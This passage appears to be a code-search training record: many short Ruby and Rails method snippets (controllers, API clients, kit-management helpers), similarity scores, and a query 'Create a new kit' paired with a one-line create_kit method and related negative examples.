"def set_interactivekit\n @interactivekit = Interactivekit.find(params[:id])\n end",
"def key_details(key_id)\n HTTParty.get(\"#{$base_url}/partners/#{$partner_id}/keys/#{key_id}\", {headers: $headers}).parsed_response\nend",
"def requestee_of(kase)\n if kase = accessible_kases.find(:first, :conditions => [\"accesses.accessible_id = ?\", kase.id])\n kase.person\n end\n end",
"def find encrypted_id\n DynamicModel.new perform_request api_url \"summoners/#{encrypted_id}\"\n end",
"def new\n @kitty = Kitty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kitty }\n end\n end",
"def find id\n DynamicModel.new perform_request api_url \"summoners/#{id}\"\n end",
"def getdifficulty\n @api.request 'getdifficulty'\n end",
"def show\n @kb = Kb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @kb }\n end\n end",
"def market_info( pair = nil )\n get(\"/marketinfo/#{pair}\")\n end",
"def get(key)\n get_all(key).first\n end",
"def find\n\t\t#puts \"find, line \" + \"37\"\n\t\tclnt = JSONClient.new\n\t\theader = {'Cookie' => 'Summon-Two=true'}\n\t\turi = URI.parse(URI.encode(\"http://tufts.summon.serialssolutions.com/api/search?pn=1&ho=t&q=\" + params[:title]))\n\t\tresponse = clnt.get(uri, nil, header)\n\t\tjson_response = response.content\n\t\tif json_response.keys.include?(\"documents\")\n\t\t\t@result = response.content[\"documents\"]\n\n\t\t\t\n\t\telse\n\t\t\t@result = ''\n\t\tend\n\tend",
"def retrieved_cookbook(name, version, opts = {})\n if platform.server_api_version >= 2\n retrieved_cookbook_v2(name, version, opts)\n else\n retrieved_cookbook_v0(name, version, opts)\n end\n end",
"def find(key)\n url = url_for(\"organizers\", credentials.organizer_key, \"trainings\", key)\n response = http_client.get(url)\n\n if response.ok?\n training = Resource::Training.new Resource::Training.deserialize(response.data)\n end\n\n [response, training]\n end",
"def find(catalog_id)\n setup_request \"#{@@resource_url}/#{catalog_id}\"\n end",
"def get(key)\n send_command([:get, key])\n end",
"def get_researcher\n @researcher = Researcher.find(params[:id])\n end",
"def get_Vendor\n getElement_text(\"cust_vendors\").click\n getElement_text(\"vendors\").click\n end",
"def show\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_kpi_template }\n end\n end",
"def get(market_name)\n @markets.each{|m|\n return m if m.name == market_name\n }\n return nil\n end",
"def market\n FarMar::Market.find(market_id)\n end",
"def market\n FarMar::Market.find(market_id)\n end",
"def getdifficulty\n request :getdifficulty\n end",
"def show\n @skus = @tb_product.skus\n end",
"def show\n @breadcrumb = 'read'\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool }\n end\n end",
"def getBusiness_tool( tool_id)\n params = Hash.new\n params['tool_id'] = tool_id\n return doCurl(\"get\",\"/business_tool\",params)\n end",
"def tx_by_apikey( api_key )\n get(\"/txbyapikey/#{api_key}\")\n end",
"def show\n @cookbook = Cookbook.with_name(params[:cookbook]).first!\n @cookbook_version = @cookbook.get_version!(params[:version])\n @cookbook_version_metrics = @cookbook_version.metric_results.includes(:quality_metric)\n end",
"def product(name)\n get(\"/apiproducts/#{name}\")\n end",
"def getwalletinfo\n @api.request 'getwalletinfo'\n end",
"def fetch_api_codewars_kata_info\n private_fetch_kata\n end",
"def get_resource(id, type)\n\t\t@client.method(type).call.get(id)\n\tend",
"def get(key)\n result = connection.query(\"TREG\", \"GET\", key)\n\n Result.parse(result)\n end",
"def update\n authorize! :update, @kit\n respond_to do |format|\n if @kit.update(kit_params)\n format.html { redirect_to @kit, notice: 'Kit was successfully updated.' }\n format.json { render :show, status: :ok, location: @kit }\n else\n format.html { render :edit }\n format.json { render json: @kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @kitten = Kitten.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kitten }\n end\n end",
"def set_press_kit_entry\n @press_kit_entry = PressKitEntry.find(params[:id])\n end",
"def search\n @crypto = HTTParty.get(\"https://api.coinmarketcap.com/v1/ticker/?limit=10\")\n @crypto_id = params[:id]\n end",
"def getProduct(selected)\n @@products.each do |product|\n if product.name == selected.capitalize\n return product;\n end\n end\n end",
"def _get(_forager, _certname)\n raise '_get method not implemented'\n end",
"def get_layer\n @layer = Layer.find(params[:layer_id])\n end",
"def get_layer\n @layer = Layer.find(params[:layer_id])\n end",
"def get_layer\n @layer = Layer.find(params[:layer_id])\n end",
"def getmininginfo\n @api.request 'getmininginfo'\n end",
"def fetch_object(model, url, params = {}, options = {})\n raise ArgumentError, \"missing model to instantiate\" if model.nil?\n response = do_http_get(url, params, {'Content-Type' => 'text/xml'})\n collection = parse_collection(response, model)\n if collection.is_a?(Quickeebooks::Collection)\n collection.entries.first\n else\n nil\n end\n end",
"def show\n @flag = Flag.find(params[:id])\n @kits = @flag.kits.page(params[:page]).per(10)\n @kit = @flag.kits.build\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flag }\n end\n rescue ActiveRecord::RecordNotFound\n logger.error \"Attempt to access invalid flag #{params[:id]}\"\n redirect_to root_path, notic: 'Invalid page'\n end",
"def set_kicker\n @kicker = Kicker.find(params[:id])\n end",
"def find summoner_id\n perform_uncached_request api_url \"third-party-code/by-summoner/#{summoner_id}\"\n end",
"def kid_id\n Kid.all.find_by(name:$kid_name)\n end",
"def show\n @tooling_specification = ToolingSpecification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tooling_specification }\n end\n end",
"def get_kit_cache_key(id)\n fail 'sub class to implement'\n end",
"def fetch_books(term)\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{term}\")\n\n JSON.parse(response.body)\nend",
"def display_kit_info(kit_info_response)\n if kit_info_response['error'].nil?\n print_json kit_info_response \n else\n print_error kit_info_response['error']\n end\n end",
"def kit_list_to_console(parsed_json)\n kits = parsed_json['kits']\n\n puts \"#{kits.count} kit(s) found:\"\n kits.each_with_index do |kit_info, index|\n indented_puts \"Kit ##{index + 1}:\", 1\n indented_puts \"ID: #{kit_info['id']}\", 2\n indented_puts \"Link: #{kit_info['link']}\", 2\n end\n end"
] |
[
"0.75393397",
"0.7160241",
"0.7072034",
"0.6804429",
"0.6804191",
"0.67395633",
"0.64189094",
"0.6237461",
"0.6189816",
"0.6045735",
"0.6020105",
"0.6009366",
"0.59802115",
"0.59235466",
"0.5886868",
"0.5882871",
"0.57290673",
"0.5700375",
"0.5651597",
"0.5621777",
"0.5605619",
"0.5569259",
"0.55192274",
"0.5472109",
"0.5459291",
"0.54498327",
"0.54312485",
"0.5409533",
"0.540355",
"0.53956085",
"0.53882635",
"0.536477",
"0.535693",
"0.5349662",
"0.53491277",
"0.53489023",
"0.5323031",
"0.52665323",
"0.52506965",
"0.52182144",
"0.5214082",
"0.5207802",
"0.5204063",
"0.51994514",
"0.5189237",
"0.5180582",
"0.51739544",
"0.5168725",
"0.51630646",
"0.5154234",
"0.5144308",
"0.5136688",
"0.5133073",
"0.5125493",
"0.51141804",
"0.5113901",
"0.51024306",
"0.5087563",
"0.5085003",
"0.5082787",
"0.50693876",
"0.50663036",
"0.50662845",
"0.5063173",
"0.50603855",
"0.5051665",
"0.5049074",
"0.504543",
"0.504543",
"0.5042667",
"0.50332713",
"0.5032355",
"0.50314415",
"0.5029247",
"0.5026428",
"0.5021206",
"0.501837",
"0.5017848",
"0.5012073",
"0.50107014",
"0.5006571",
"0.50040615",
"0.49964783",
"0.4996281",
"0.49940568",
"0.49912748",
"0.49892393",
"0.49892393",
"0.49892393",
"0.49869728",
"0.49748516",
"0.4974346",
"0.49710542",
"0.49709415",
"0.4967448",
"0.49668798",
"0.4966235",
"0.49656555",
"0.49632037",
"0.49630162"
] |
0.8031954
|
0
|
Create a new kit
|
def create_kit(params)
Kit.create(params)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @kit = Kit.new(kit_params)\n\n respond_to do |format|\n if @kit.save\n format.html { redirect_to @kit, notice: 'Kit was successfully created.' }\n format.json { render action: 'show', status: :created, location: @kit }\n else\n format.html { render action: 'new' }\n format.json { render json: @kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def to_kit(name = $0)\n Kit.new name, build_commands(self.class.__commands)\n end",
"def create\n @kitty = Kitty.new(params[:kitty])\n\n respond_to do |format|\n if @kitty.save\n format.html { redirect_to @kitty, notice: 'Kitty was successfully created.' }\n format.json { render json: @kitty, status: :created, location: @kitty }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kitty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @interactivekit = Interactivekit.new(interactivekit_params)\n\n respond_to do |format|\n if @interactivekit.save\n format.html { redirect_to @interactivekit, notice: 'Interactivekit was successfully created.' }\n format.json { render :show, status: :created, location: @interactivekit }\n else\n format.html { render :new }\n format.json { render json: @interactivekit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @heli_kit = HeliKit.new(params[:heli_kit])\n\n respond_to do |format|\n if @heli_kit.save\n format.html { redirect_to @heli_kit, notice: 'Heli kit was successfully created.' }\n format.json { render json: @heli_kit, status: :created, location: @heli_kit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @heli_kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @kit = Kit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kit }\n end\n end",
"def create\n @kitten = Kitten.new(params[:kitten])\n\n respond_to do |format|\n if @kitten.save\n format.html { redirect_to @kitten, notice: 'Kitten was successfully created.' }\n format.json { render json: @kitten, status: :created, location: @kitten }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kitten.errors, status: :unprocessable_entity }\n end\n end\n end",
"def kit_params\n params.require(:kit).permit(:name)\n end",
"def create\n @produto_kit = ProdutoKit.new(params[:produto_kit])\n\n respond_to do |format|\n if @produto_kit.save\n flash[:notice] = 'ProdutoKit was successfully created.'\n format.html { redirect_to(@produto_kit) }\n format.xml { render :xml => @produto_kit, :status => :created, :location => @produto_kit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @produto_kit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_kit\n @kit = Kit.find(params[:id])\n end",
"def set_kit\n @kit = Kit.find(params[:id])\n end",
"def kit(id)\n Kit.find id\n end",
"def save_kit(payload, id=nil)\n url = \"kits\" + (id.nil? ? \"\" : \"/#{id}\")\n resp = make_request :post, url, payload\n check_response_for_field resp, \"kit\"\n end",
"def create_train(title = '[CREATE] Please choose Train type:')\n train_type = ask_choose_train_type(title)\n\n user_input_number = ask_enter('Train number')\n\n train = train_type.new(user_input_number)\n @trains << train\n puts \"\\n[SUCCESS] #{train} created!\"\n rescue StandardError => e\n show_error_message(e)\n retry\n end",
"def create!\n create || raise(\"Errors in the package creation\")\n end",
"def create\n @kit = Kit.new(kit_params)\n authorize! :create, @kit\n\n \n\n respond_to do |format|\n if @kit.save\n i = 0\n loop do\n check = \"member\" + i.to_s\n break if params[check].nil?\n\n new_id = params[check]\n if Item.by_readable_id(new_id).size() > 0\n @item = Item.by_readable_id(new_id).first\n if(@item.kit.nil?)\n @item.kit = @kit\n @item.save\n end\n end\n i = i +1\n end\n\n\n format.html { redirect_to @kit, notice: 'Kit was successfully created.' }\n format.json { render :show, status: :created, location: @kit }\n else\n format.html { render :new }\n format.json { render json: @kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_kit(params)\n # separate the ID from the other params\n id = params['id']\n params.reject! { |k,v| k == 'id' }\n\n resp = @api.save_kit(params, id)\n @io.display_kit_info resp\n # return the id so a queued operation can continue operating on this kit\n id\n end",
"def new\n @klant = Klant.new\n end",
"def create(url, tooling_name, tooling_url, toolchain)\n CCProcess.start(\"sdk-manage --target --install '#{@name}' '#{url}'\" +\n (tooling_name.to_s.empty? ? \"\" : \" --tooling '#{tooling_name}'\") +\n (tooling_url.to_s.empty? ? \"\" : \" --tooling-url '#{tooling_url}'\") +\n (toolchain.to_s.empty? ? \"\" : \" --toolchain '#{toolchain}'\"),\n (_ :adding_target) + \" #{@name}\", 60*60, 1)\n end",
"def create\n @item_kit = ItemKit.new(params[:item_kit])\n @item_kit.empresa = session[:usuario].empresa\n respond_to do |format|\n if @item_kit.save\n format.html { redirect_to @item_kit, notice: 'Item kit was successfully created.' }\n format.json { render json: @item_kit, status: :created, location: @item_kit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def usage\n puts <<-USAGE\n\n Usage: k9 create <sketch_to_generate> <width> <height> <mode>\n mode can be P2D / P3D.\n Use --wrap for a sketch wrapped as a class\n Use --inner to generated a ruby version of 'java' Inner class\n Examples: k9 create app 800 600\n k9 create app 800 600 p3d --wrap\n k9 create inner_class --inner\n\n USAGE\n end",
"def list_and_select_kit\n resp = @api.list_kits\n\n kit_ids = resp['kits'].map { |h| h['id'] }\n\n if kit_ids.empty?\n choice = @io.yes?(\"No Kits found! Would you like to create one?\")\n @operation_stack.unshift(choice ? :prompt_kit_params : :quit)\n return\n end\n\n # fetch information about each kit to get their names for user selection\n # note: If there are a lot of kits, this is definitely slow. This could\n # overcome in a couple ways that I could think of: with multithreading to \n # make multiple requests at once, or with an async implementation to make \n # multiple requests at once, but since my account can only have a single \n # Kit at a time I wasn't able to implement or test a solution.\n kits = {}\n kit_ids.each do |id|\n resp = @api.kit_info(id)\n unless resp['error'].nil?\n @io.print_error resp['error']\n @operation_stack.unshift :quit\n return\n end\n kit_info = resp['kit']\n # map each Kit's name to its ID, for menu selection\n kits[kit_info[\"name\"]] = kit_info['id']\n end\n\n kit_id = @io.select_from_options(\"Select a Kit:\", kits)\n\n @operation_stack.unshift :select_kit_action\n\n # now that the next action is on the stack, return the ID to act on\n kit_id\n end",
"def create_temp_keychain()\n puts \"Creating empty temp keychain at #{@temp_kc_path}\" if @verbose \n CertTools.createKeychain(@temp_kc_path, @temp_kc_name)\n end",
"def create!\n prepare\n create_software_license_files\n create_project_license_file\n end",
"def create!\n end",
"def new\n @karteikarte = Karteikarte.new\n\n @person = Person.new\n @person.postadressen << Postadresse.new\n @person.kontakte << Kontakt.new\n @person.kontakte << Kontakt.new\n\n @tier = Tier.new\n @tier.behandlungen << Behandlung.new\n end",
"def create\n \n end",
"def create\n make_create_request\n end",
"def newDeck(name, template = @cur_deck_name)\n\n end",
"def create_kvm(kvm_name, template, options)\n ensure_name_availability!(kvm_name)\n clone_kvm(kvm_name, template)\n device = mount_kvm_volume(kvm_name)\n address = update_kvm_ip(kvm_name)\n update_hostname(kvm_name)\n make_console_accessible(kvm_name)\n unmount_kvm_volume(kvm_name, device)\n create_kvm_instance(kvm_name, options)\n puts \"KVM Node #{kvm_name} available at: #{address}\"\nend",
"def create\n @kb = Kb.new(params[:kb])\n\n respond_to do |format|\n if @kb.save\n format.html { redirect_to @kb, :notice => 'Kb was successfully created.' }\n format.json { render :json => @kb, :status => :created, :location => @kb }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @kb.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @kitty = Kitty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kitty }\n end\n end",
"def create(id, name: nil, type: :PRODUCTION, labels: nil, clusters: nil)\n end",
"def create\n if current_user == nil\n redirect_to root_url, :alert => \"You need to log in before\n trying to add a trek !\"\n end\n @trek = Trek.new\n @trek.user_id = current_user.id\n @trek.title = params[\"trek\"][\"title\"]\n if @trek.save\n flash[:notice] = \"Successfully created the trek.\"\n # saves the ZIP file\n begin\n newDir = @trek.get_path\n FileUtils.mkdir_p newDir\n begin\n Zip::Archive.open(params[\"trek\"][\"asset\"].path) do |ar|\n ar.each do |zf|\n curfile = File.join newDir, zf.name\n if zf.directory?\n FileUtils.mkdir_p(curfile)\n else\n dirname = File.dirname(curfile)\n FileUtils.mkdir_p(dirname) unless File.exist?(dirname)\n open(curfile, 'wb') do |f|\n f << zf.read\n end\n end\n end\n end\n end\n rescue\n end\n redirect_to @trek\n else\n render :action => 'new'\n end\n end",
"def create\n @tssk = Tssk.new(tssk_params)\n\n respond_to do |format|\n if @tssk.save\n format.html { redirect_to @tssk, notice: 'Tssk was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tssk }\n else\n format.html { render action: 'new' }\n format.json { render json: @tssk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_project(name)\n path = File.expand_path(name)\n if Dir.exist?(path)\n say \"#{path} already exists. Please choose a directory name that doesn't already exist.\".red\n exit\n end\n\n @gz_info = new_global_zone\n @gz_info.serialize(path)\n\n say \"You have now configured your SmartOS virtual infrastructure. Inspect it, then run \"\\\n \"'smartos up' to build it!\".green\n end",
"def create\n @trek = Trek.new(params[:trek])\n\n respond_to do |format|\n if @trek.save\n format.html { redirect_to @trek, notice: 'Trek was successfully created.' }\n format.json { render json: @trek, status: :created, location: @trek }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trek.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n raise \"Not supported\"\n end",
"def create\n end",
"def create(label, name, summary, arch, parent)\n @connection.call('channel.software.create', @sid, label, name, summary, arch, parent)\n end",
"def create\n @kakiko = Kakiko.new(kakiko_params)#属性を設定してモデルオブジェクトを生成\n @kakiko.user_id = current_user.id#user_id属性を追加\n @kakiko.tag = params[:kakiko][:tag]\n @kakiko.name = params[:kakiko][:name]\n if @kakiko.save#saveしないといくら追加したところで意味がない\n #renderでlocalhost:3000に返す \n render json: @kakiko, status: :created, location: @kakiko\n else\n render json: @kakiko.errors, status: :unprocessable_entity\n end\n end",
"def create(sketch, args)\n require_relative '../jruby_art/creators/creator'\n return Processing::Inner.new.create!(sketch, args) if @options.inner\n return Processing::ClassSketch.new.create!(sketch, args) if @options.wrap\n return Processing::EmacsSketch.new.create!(sketch, args) if @options.emacs\n Processing::BasicSketch.new.create!(sketch, args)\n end",
"def new\n puts \"Creating new blank Praxis app under #{app_name}\"\n create_root_files\n create_config\n create_app\n create_design\n create_spec\n create_docs\n end",
"def creation #wizard will be able to create objects, his proficiency is based on the skill level he has in this type of magic\r\n \r\n end",
"def create\n @koti = Koti.new(params[:koti])\n\n respond_to do |format|\n if @koti.save\n format.html { redirect_to @koti, notice: 'Koti was successfully created.' }\n format.json { render json: @koti, status: :created, location: @koti }\n else\n format.html { render action: \"new\" }\n format.json { render json: @koti.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @kpi = Kpi.new(params[:kpi])\n\n respond_to do |format|\n if @kpi.save\n flash[:notice] = 'Kpi was successfully created.'\n format.html { redirect_to(@kpi) }\n format.xml { render :xml => @kpi, :status => :created, :location => @kpi }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @kpi.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_request(method, path, body = {})\n KintoRequest.new self, method, path, body\n end",
"def new\n @chef = Chef.new\n end",
"def create\n @kpt = Kpt.new(params[:kpt])\n # @iteration = Iteration.find(params[:iteration_id])\n\n respond_to do |format|\n if @kpt.set_tag_body && @kpt.save\n format.html { redirect_to \"/kpts\", notice: \"#{@kpt.category}が\n 作られました。\" }\n format.json { render json: @kpt, status: :created, location: @kpt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kpt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \t\n end",
"def create\n @item_pedido_kit = ItemPedidoKit.new(params[:item_pedido_kit])\n\n respond_to do |format|\n if @item_pedido_kit.save\n flash[:notice] = 'ItemPedidoKit was successfully created.'\n format.html { redirect_to(@item_pedido_kit) }\n format.xml { render :xml => @item_pedido_kit, :status => :created, :location => @item_pedido_kit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item_pedido_kit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def graphkit(name, options={})\n case name\n when /growth_rates_vs_ky/\n return GraphKit.quick_create([@kyvals, @growth_rates])\n when /ion_n2_vs_time/\n return GraphKit.quick_create([get_h5_narray_all('nrg.dat.h5', '/nrgIons/time').to_gslv, get_h5_narray_all('nrg.dat.h5', '/nrgIons/n2').to_gslv])\n\n end\n end",
"def create_resource(env)\n env[:ui].info(\"Creating machine\")\n\n config = env[:machine].provider_config\n vra = env[:vra]\n\n EntitledItemsCollection.fetch(env[:vra])\n .find_by_id(config.catalog_item_id)\n .request(cpus: config.cpus,\n memory: config.memory,\n requested_for: config.requested_for,\n subtenant_id: config.subtenant_id,\n lease_days: config.lease_days) { |req|\n config.extra_entries.types.each do |type|\n config.extra_entries.of_type(type).each do |k,v|\n req.set_parameter(k, type, v)\n end\n end\n }\n .join\n .machine\n end",
"def create\n @tktest = Tktest.new(params[:tktest])\n\n respond_to do |format|\n if @tktest.save\n format.html { redirect_to @tktest, notice: 'Tktest was successfully created.' }\n format.json { render json: @tktest, status: :created, location: @tktest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tktest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_license(to_hash)\n end",
"def create_default_copy(kit, current_customer)\n\n copy_version_number = get_copy_kit_number(kit.id)\n loc = Kitting::Location.where('name = ?', \"NEW KIT QUEUE\")\n @kit_copy = current_customer.kit_copies.create(:kit_id => kit.id, :kit_version_number => kit.kit_number + \"-\"+ copy_version_number, :status => kit.status, location_id: loc.first.id, :version_status => kit.current_version )\n ################### START TO INSERT INTO TRACK COPY VERSION #############\n if @kit_copy.present?\n @track_version = Kitting::TrackCopyVersion.create(kit_copy_id: @kit_copy.id, version: @kit_copy.version_status, picked_version: @kit_copy.version_status, filled_version: @kit_copy.version_status)\n end\n ################### STOP TRACK COPY VERSION ##############################\n\n # if kit.kit_media_type.kit_type == \"multi-media-type\"\n # mmt_kit = Kitting::Kit.find_all_by_parent_kit_id_and_deleted(kit.id, false)\n # mmt_kit.each_with_index do |kit, index|\n # copy_version_number = get_copy_kit_number(kit.id)\n # loc = Kitting::Location.where('name = ?', \"NEW KIT QUEUE\")\n # @mmt_kit_copy = current_customer.kit_copies.create(:kit_id => kit.id, :kit_version_number => kit.kit_number + \"-\"+ copy_version_number, :status => kit.status, location_id: loc.first.id, :version_status => kit.current_version, :parent_kit_copy_id => @kit_copy.id )\n # ################### START TO INSERT INTO TRACK COPY VERSION #############\n # if @mmt_kit_copy.present?\n # @track_version = Kitting::TrackCopyVersion.create(kit_copy_id: @mmt_kit_copy.id, version: @mmt_kit_copy.version_status, picked_version: @mmt_kit_copy.version_status, filled_version: @mmt_kit_copy.version_status)\n # end\n # ################### STOP TRACK COPY VERSION ##############################\n # end\n # end\n\n end",
"def new\n BikeObject.new(self, 'Object', @type, @name)\n end",
"def new\n \n end",
"def create\n \n end",
"def create\n @kopy = Kopy.new(params[:kopy])\n\n respond_to do |format|\n if @kopy.save\n format.html { redirect_to(@kopy, :notice => 'Kopy was successfully created.') }\n format.xml { render :xml => @kopy, :status => :created, :location => @kopy }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @kopy.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @kintai = Kintai.new(kintai_params)\n\n respond_to do |format|\n if @kintai.save\n format.html { redirect_to @kintai, notice: 'Kintai was successfully created.' }\n format.json { render :show, status: :created, location: @kintai }\n else\n format.html { render :new }\n format.json { render json: @kintai.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create #:doc:\n end",
"def create\n @kpi_type = KpiType.new(kpi_type_params)\n\n if @kpi_type.save\n flash[:success] = 'KPI Type was successfully created.'\n redirect_to :back\n else\n flash[:danger] = 'KPI Type was not created.'\n redirect_to :back\n end\n end",
"def create\n @putnik = Putnik.new(putnik_params)\n\n respond_to do |format|\n if @putnik.save\n format.html { redirect_to @putnik, notice: 'Putnik was successfully created.' }\n format.json { render :show, status: :created, location: @putnik }\n else\n format.html { render :new }\n format.json { render json: @putnik.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @kontakty = Kontakty.new(params[:kontakty])\n\n respond_to do |format|\n if @kontakty.save\n flash[:notice] = 'Kontakty was successfully created.'\n format.html { redirect_to(@kontakty) }\n format.xml { render :xml => @kontakty, :status => :created, :location => @kontakty }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @kontakty.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @tenki = Tenki.new(tenki_params)\n\n respond_to do |format|\n if @tenki.save\n format.html { redirect_to @tenki, notice: 'Tenki was successfully created.' }\n format.json { render :show, status: :created, location: @tenki }\n else\n format.html { render :new }\n format.json { render json: @tenki.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @kid = Kid.new(kid_params)\n\n respond_to do |format|\n if @kid.save\n format.html { redirect_to @kid, notice: t('kid_created') }\n format.json { render :show, status: :created, location: @kid }\n else\n format.html { render :new }\n format.json { render json: @kid.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @pagetitle = \"New package\"\n @package = Package.new\n end",
"def kit_info(id)\n resp = make_request :get, \"kits/#{id}\"\n check_response_for_field resp, \"kit\"\n end",
"def create!\n raise NotImplementedError\n end",
"def create\n payload = {\n name: name,\n validator: validator,\n # this field is ignored in API V1, but left for backwards-compat,\n # can remove after OSC 11 support is finished?\n admin: admin,\n }\n begin\n # try API V1\n raise Chef::Exceptions::InvalidClientAttribute, \"You cannot set both public_key and create_key for create.\" if !create_key.nil? && !public_key.nil?\n\n payload[:public_key] = public_key unless public_key.nil?\n payload[:create_key] = create_key unless create_key.nil?\n\n new_client = if Chef::Config[:migrate_key_to_keystore] == true\n chef_rest_v1_with_validator.post(\"clients\", payload)\n else\n chef_rest_v1.post(\"clients\", payload)\n end\n\n # get the private_key out of the chef_key hash if it exists\n if new_client[\"chef_key\"]\n if new_client[\"chef_key\"][\"private_key\"]\n new_client[\"private_key\"] = new_client[\"chef_key\"][\"private_key\"]\n end\n new_client[\"public_key\"] = new_client[\"chef_key\"][\"public_key\"]\n new_client.delete(\"chef_key\")\n end\n\n rescue Net::HTTPClientException => e\n # rescue API V0 if 406 and the server supports V0\n supported_versions = server_client_api_version_intersection(e, SUPPORTED_API_VERSIONS)\n raise e unless supported_versions && supported_versions.include?(0)\n\n # under API V0, a key pair will always be created unless public_key is\n # passed on initial POST\n payload[:public_key] = public_key unless public_key.nil?\n\n new_client = chef_rest_v0.post(\"clients\", payload)\n end\n Chef::ApiClientV1.from_hash(to_h.merge(new_client))\n end",
"def create\r\n end",
"def create\n @kandc = Kandc.new(kandc_params)\n\n respond_to do |format|\n if @kandc.save\n format.html { redirect_to @kandc, notice: 'Kandc was successfully created.' }\n format.json { render :show, status: :created, location: @kandc }\n else\n format.html { render :new }\n format.json { render json: @kandc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create!\n\t\t\tClient.put @root\n\t\tend",
"def new\n @kid_quote = KidQuote.new\n end",
"def setup_create\n\t\traise NotImplementedError, \"machine_create is not implemented\"\n\tend",
"def create\n @key_set = KeySet.new(key_set_params)\n\n respond_to do |format|\n if @key_set.save\n format.html { redirect_to @key_set, notice: 'Key set was successfully created.' }\n format.json { render :show, status: :created, location: @key_set }\n else\n format.html { render :new }\n format.json { render json: @key_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @kid = Kid.new(params[:kid])\n\n respond_to do |format|\n if @kid.save\n flash[:notice] = 'Kid was successfully created.'\n format.html { redirect_to(@kid) }\n format.xml { render :xml => @kid, :status => :created, :location => @kid }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @kid.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @tool = Tool.new(tool_params)\n if @tool.save\n render json: @tool, status: :created\n end\n end",
"def cmd_create argv\n setup argv\n json = @hash['json']\n e = @hash['element']\n response = @api.create(json, e)\n msg response\n return response\n end",
"def create_new_keys(license_type, num_keys)\n create_new_keys_link.click\n wait_until{ create_new_keys_div.visible? }\n license_select = create_new_keys_div.find(:id, \"create_keys_license_type\")\n license_select.select(license_type) if license_select.visible?\n create_new_keys_div.find(:id, \"num_keys\").type_text(num_keys)\n create_new_keys_div.find(:css, \"input[name=create_keys]\").click\n wait_until_bus_section_load\n end",
"def sparkCreate(className, path)\n delete(path)\n\n #logNormal($sparkPrefix +\" creating \" + className + \" instance at \" + path + \"\\n\")\n\n return new(className, path)\nend",
"def create\n @karutum = Karutum.new(karutum_params)\n\n respond_to do |format|\n if @karutum.save\n format.html { redirect_to @karutum, notice: 'Karutum was successfully created.' }\n format.json { render :show, status: :created, location: @karutum }\n else\n format.html { render :new }\n format.json { render json: @karutum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(name, config)\n # @step: validate the user defined options\n validate(config)\n\n # @step: create the infrastructure deployment\n begin\n provision_aks(name, config)\n rescue StandardError => e\n raise InfrastructureError, \"failed to provision cluster, error: #{e}\"\n end\n\n # @step: bootstrap the cluster\n begin\n provision_cluster(name, config)\n rescue StandardError => e\n raise InfrastructureError, \"failed to bootstrap cluster, error: #{e}\"\n end\n end",
"def create\n @kraj = Kraj.new(params[:kraj])\n\n respond_to do |format|\n if @kraj.save\n format.html { redirect_to @kraj, notice: 'Kraj was successfully created.' }\n format.json { render json: @kraj, status: :created, location: @kraj }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kraj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(model_name,options={})\n # @TODO: this is another path that parallels the ModelFactory\n model_class = Metro::Models.find(model_name)\n mc = model_class.new options\n mc.scene = scene\n mc.window = window\n mc\n end",
"def create\n HTTParty.post(create_url, :options => { :headers => HEADERS })\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n create_hiera_template\n create_manifests_node\n create_node_checkpoint\n end",
